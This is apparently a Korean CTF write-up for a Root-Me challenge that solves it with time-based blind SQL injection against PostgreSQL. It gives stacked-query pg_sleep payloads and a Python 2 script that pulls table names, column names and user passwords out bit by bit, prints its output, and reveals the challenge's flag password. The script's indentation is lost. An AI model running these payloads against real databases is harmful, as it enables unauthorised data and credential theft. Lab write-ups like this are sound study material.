로그인 페이지가 있고
계정 정보를 확인할 수 있으며
계정 정보 각각을 클릭하면 로그인을 하라는 메시지가 출력된다.
시간차를 이용하여 참과 거짓을 판별해 플래그값을 구하는 기법이다.
blind sql injection은 내가 보낸 쿼리의 결과가 참인지 거짓인지 출력해주는 웹사이트에서 사용가능하지만, 그 최소한의 출력조차 해주지 않는 경우 Time based SQL Injection 기법을 이용할 수 있다.
간단한 예시로
and if(substr(database(),1,1)='f', sleep(5), 1);
if
의 조건문의 참이면 5초가 딜레이될 것이고, 이 딜레이되는 반응을 통해 내가 보낸 조건이 참이며 데이터 베이스의 첫 번째 문자가 f라는 것을 알 수 있다.
알고있는 쿼리와, rootme에서 제공해준 문서에 나온 쿼리를 모두 시도했지만 단 하나도 성공하지 않았다.
데이터베이스가 PostgreSQL일 수 있겠다라는 생각이 들었고, 수 많은 쿼리를 인젝션 해보면서 PostgreSQL에서는 다른 형태의 함수와 쿼리로 공격해야 한다는 사실도 알게 되었다.
PostgreSQL에서 사용되는 딜레이 함수이다.
또한 결론부터 말하자면 반환되는 값이 void*
형으로, 일반적인 time based sql injection에서처럼 where
절의 조건문에 사용될 수 없다.
자세한 차이는 다음 포스팅을 참고하자.
플래그를 확인하기 위한 조건문은 stacked query 방식으로 삽입해야 했다.
또한 조건문은 case when
절을 이용하였다.
2; select case when ... end --
효율적인 검색을 위해 이진수로 변환하여 탐색하였다.
검색 대상은 '테이블 > 컬럼 > 패스워드(플래그)' 순서이다.
파이썬으로 코드를 작성하였다.
def getFlag(qr):
...
...
while True:
for idx in range(7):
query = qr
condition = 'substr(ascii(substr(({0}),{1},1))::bit(7)::text,{2},1)=1::text'.format(query, len(flags)+1, idx+1)
payload = '2;select case when ({0}) then pg_sleep(5) else pg_sleep(0) end; -- '.format(condition)
print 'payload: ' + payload
url = 'http://challenge01.root-me.org/web-serveur/ch40/'
params = {'action' : 'member', 'member': payload}
start = time.time()
res = requests.get(url, params=params)
end = time.time()
if end-start > 2:
binn += '1'
else:
binn += '0'
print 'bin: ' + str(binn)
ch = chr(int(binn, 2))
print 'char: ' + ch
if ch in ascii_table:
print 'found!!! ::: [' +ch+']'
flags += ch
binn = ''
else:
print '###################################################'
print '###################################################'
print '###################################################'
print 'flags: ' + flags
break
binn = ''
res = flags
flags = ''
return res
request를 전송하는 함수이다.
반응을 확인해 값을 판단한 후 반환한다.
#get table
query = 'select table_name from information_schema.tables limit 1'
name_table = getFlag(query)
backup(fname, name_table)
#get columns
query = 'select column_name from information_schema.columns limit 1 offset {0}'
for i in range(10):
name_columns.append(getFlag(query.format(i)))
print name_columns
backup(fname, name_columns)
print '\n\n\n------------------------------------------------------'
print 'list of columns : ' + str(name_columns)
print '\n\n\n------------------------------------------------------'
name_column = raw_input('input column name you want to get:')
query = 'select {0} from {1} limit 1'.format(name_column, name_table)
for i in range(3):
passwords.append(getFlag(query+' offset {0}'.format(i)))
print passwords
main
코드이다.
속성을 지정해 getFlag
함수를 호출하고 결과값을 저장한다.
마지막에 패스워드(플래그) 값을 확인할 때는 속성값을 입력받아서 동적으로 쿼리를 생성하도록 하였는데, 속성명이 지정되있지 않기 때문에 일단 속성명 목록을 구한 뒤에 패스워드 컬럼이라고 생각되는 속성명을 직접 입력해주도록 만든 것이다.
payload: 2;select case when (substr(ascii(substr((select table_name from information_schema.tables limit 1),6,1))::bit(7)::text,7,1)=1::text) then pg_sleep(5) else pg_sleep(0) end; --
bin: 0000000
char:
found flags : users
테이블 명이 출력되는 모습
list of columns : ['id', 'username', 'firstnamm', 'lastname', 'email', 'password', 'typname', 'typnamespace', 'typowner', 'typlen']
------------------------------------------------------
input column name you want to get:
속성명이 출력되는 모습
※일부 부정확한 속성명이 있는 것은 서버 문제로 딜레이가 비정상적으로 반응하여 스펠링 확인이 제대로 안된 것이다.※
payload: 2;select case when (substr(ascii(substr((select password from users limit 1 offset 2),13,1))::bit(7)::text,6,1)=1::text) then pg_sleep(5) else pg_sleep(0) end; --
payload: 2;select case when (substr(ascii(substr((select password from users limit 1 offset 2),13,1))::bit(7)::text,7,1)=1::text) then pg_sleep(5) else pg_sleep(0) end; --
bin: 0000000
char:
###################################################
###################################################
###################################################
flags: Sp@r0Wkr@K3n
['T!-------------QL!', 'J0hN---------eO', 'Sp@---------3n']
패스워드가 출력된 모습
admin에 해당하는 패스워드가 플래그 값이다.